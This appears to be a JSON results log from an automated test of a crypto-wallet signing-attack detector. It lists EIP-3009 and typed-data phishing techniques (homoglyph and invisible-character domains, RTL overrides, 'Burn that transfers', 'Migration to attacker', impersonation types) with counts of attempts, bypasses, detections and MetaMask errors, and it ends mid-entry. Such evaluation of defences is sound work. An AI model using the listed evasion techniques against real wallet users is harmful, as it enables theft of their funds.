{ "version": "1.0.0", "lastUpdated": "2026-01-31T23:53:32.152Z", "summary": { "totalAttempts": 1796, "bypassed": 41, "detected": 155, "errors": 1690 }, "attemptsByTechnique": { "EIP-3009 transferWithAuthorization USDC": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 receiveWithAuthorization USDC": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 max value transfer": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 past validAfter": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 far future validBefore": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 EURC transfer": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 unicode domain": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 dust amount": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 old timestamp": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 version 1": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 specific amount": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 nested recipient": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 v3 method": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 unversioned method": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP-3009 hex value": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 numeric types": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 leading zeros": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 reordered fields": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 extra types": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 domain salt": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 lowercase addresses": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 uppercase addresses": { "attempts": 69, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 69, "errorMessage": "MetaMask popup not found" }, "EIP-3009 BOM prefix": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 soft hyphen": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 cyrillic homoglyph": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 narrow window": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 just valid": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 round value": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 empty domain": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 long domain": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 null byte": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 zero nonce": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 max nonce": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 scientific notation": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 decimal version": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 USDT token": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 PYUSD token": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 reverse message": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 hex chainId": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 extra message fields": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 RTL override": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 whitespace domain": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 combo attack 1": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 combo attack 2": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 no version": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 no chainId": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 minimal domain": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 domain type reorder": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 bare hex nonce": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 tab in name": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 newline in name": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 unicode fraction": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 zero timestamps": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 self transfer": { "attempts": 69, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 69, "errorMessage": "MetaMask popup not found" }, "EIP-3009 superscript": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 fullwidth": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 combining marks": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 zero-width joiner": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 mixed encoding": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 year 2100": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 escaped unicode": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP-3009 WBTC token": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "RevokeAccess type that grants": { "attempts": 69, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 69, "errorMessage": "MetaMask popup not found" }, "DisableWithdrawals type": { "attempts": 69, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 69, "errorMessage": "MetaMask popup not found" }, "SecurityUpdate type": { "attempts": 69, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 69, "errorMessage": "MetaMask popup not found" }, "EmergencyStop type": { "attempts": 69, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 69, "errorMessage": "MetaMask popup not found" }, "ClaimRewards type": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "Deeply nested admin": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "Metadata nested recipient": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "Batch operations hiding": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "ENS update impersonation": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "DAO vote impersonation": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "NFT metadata impersonation": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "Social recovery impersonation": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "Address array flooding": { "attempts": 68, "bypassed": 30, "detected": 0, "lastResult": "ERROR", "errors": 38, "errorMessage": "MetaMask popup not found" }, "Multi-recipient decoy": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "Zero means unlimited": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "Negative value illusion": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "Burn that transfers": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "Lock that approves": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "Stake that approves": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "Migration to attacker": { "attempts": 68, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 68, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-combining_mark-max_uint_minus_1-numeric_ts-max-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-rtl_override-max_uint-standard-leading_zeros_nonce-checksum-v4": { "attempts": 1, "bypassed": 1, "detected": 0, "lastResult": "BYPASSED" }, "EIP3009-combo-EURC-cyrillic_e-very_large-past_2020-mixed_case_hex-lowercase-v4": { "attempts": 1, "bypassed": 1, "detected": 0, "lastResult": "BYPASSED" }, "EIP3009-combo-EURC-backspace-leading_zeros-leading_zeros_ts-all_a-mixed_case-signTypedData": { "attempts": 1, "bypassed": 1, "detected": 0, "lastResult": "BYPASSED" }, "EIP3009-combo-USDC-bidi_isolate-repeating-past_2020-all_ones-checksum-signTypedData": { "attempts": 1, "bypassed": 1, "detected": 0, "lastResult": "BYPASSED" }, "EIP3009-combo-USDC-zwnj-zero-far_future-alternating-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP3009-combo-USDC-softhyphen-repeating-just_now-all_ones-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-long_256-one_million-past_2020-mixed_case_hex-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-zwnj-leading_zeros-numeric_ts-half_and_half-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-bom-hex_short-narrow_1hr-half_and_half-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-cyrillic_a-max_uint_minus_1-standard-max-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-tab-numeric_max_safe-year_2100-zero-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-bom-leading_zeros_many-just_now-mixed_case_hex-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-trailing_space-numeric_max_safe-year_2100-sequential-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-nbsp-hex_max-past_2020-zero-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-cyrillic_e-repeating-leading_zeros_ts-all_ones-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-invisible_separator-zero-far_future-all_ones-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-ltr_override-numeric_max_safe-just_now-half_and_half-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-null_byte-very_large-leading_zeros_ts-leading_zeros_nonce-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-long_256-leading_zeros_many-numeric_ts-half_and_half-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-standard-numeric_max_safe-numeric_ts-all_ones-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-ideographic_space-numeric_max_safe-far_future-half_and_half-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-standard-zero-numeric_ts-leading_zeros_nonce-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-zwj-hex_mixed_case-just_now-all_ones-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-tab-max_uint-leading_zeros_ts-half_and_half-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-empty-numeric_max_safe-far_future-half_and_half-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-zwj-max_uint_minus_1-past_2020-max-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-long_256-hex_1m-max_uint-zero-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-zwnj-max_uint_minus_1-year_2100-alternating-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-trailing_space-padded_64-past_2020-leading_zeros_nonce-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-escape-half_max-numeric_ts-mixed_case_hex-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-zwnj-very_large-past_2020-zero-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-nbsp-unicode_digits-year_2100-max-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-zwnj-hex_1m-leading_zeros_ts-alternating-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-escape-numeric_small-just_now-zero-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-rtl_override-trailing_zeros-max_uint-random-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-nbsp-max_uint_minus_1-standard-half_and_half-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-empty-hex_short-max_uint-sequential-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-zwj-unicode_digits-past_2020-sequential-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-standard-very_large-max_uint-max-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-rtl_override-half_max-standard-half_and_half-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-trailing_space-zero-standard-sequential-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-leading_space-hex_mixed_case-just_now-sequential-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-ltr_override-hex_short-far_future-random-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-carriage_return-padded_64-max_uint-zero-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-zwsp-numeric_small-far_future-random-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-invisible_separator-one_million-numeric_ts-zero-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-bidi_isolate-one_million-far_future-leading_zeros_nonce-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-ltr_override-hex_1m-leading_zeros_ts-mixed_case_hex-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-ideographic_space-half_max-far_future-sequential-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-newline-hex_1m-past_2020-alternating-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-ltr_override-hex_1m-far_future-all_ones-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-invisible_separator-leading_zeros_many-just_now-leading_zeros_nonce-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-trailing_space-very_large-standard-max-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-carriage_return-round_100k-narrow_1hr-half_and_half-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-escape-leading_zeros_many-far_future-zero-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-standard-hex_mixed_case-year_2100-zero-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-zwsp-dust_1-standard-all_a-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-cyrillic_a-hex_short-year_2100-mixed_case_hex-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-carriage_return-hex_mixed_case-leading_zeros_ts-all_a-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-softhyphen-hex_short-standard-mixed_case_hex-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP3009-combo-USDC-long_1024-padded_64-leading_zeros_ts-sequential-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-invisible_separator-padded_64-standard-all_ones-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-long_256-half_max-past_2020-all_a-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-zwnj-numeric_max_safe-leading_zeros_ts-all_ones-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-bom-numeric_max_safe-just_now-half_and_half-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-softhyphen-hex_short-standard-sequential-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-cyrillic_a-numeric_max_safe-numeric_ts-zero-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-leading_space-hex_1m-narrow_1hr-random-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-word_joiner-max_uint_minus_1-past_2020-all_ones-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP3009-combo-EURC-cyrillic_o-zero-narrow_1hr-random-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-ideographic_space-hex_short-standard-random-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-cyrillic_o-leading_zeros-leading_zeros_ts-all_a-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-escape-hex_max-numeric_ts-max-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-leading_space-leading_zeros-max_uint-all_ones-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-newline-repeating-narrow_1hr-random-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-combining_mark-max_uint_minus_1-year_2100-zero-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-thin_space-numeric_small-just_now-zero-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-cyrillic_o-round_100k-numeric_ts-leading_zeros_nonce-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-zwj-leading_zeros_many-narrow_1hr-mixed_case_hex-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-standard-unicode_digits-past_2020-all_ones-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-word_joiner-numeric_small-max_uint-zero-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-long_256-max_uint_minus_1-numeric_ts-random-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-zwsp-alternating-just_now-all_ones-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-zwsp-hex_1m-standard-max-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-empty-max_uint_minus_1-year_2100-max-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-zwnj-leading_zeros_many-standard-random-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-cyrillic_o-round_100k-past_2020-max-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP3009-combo-USDC-long_256-one_million-standard-max-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-null_byte-leading_zeros-narrow_1hr-leading_zeros_nonce-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": 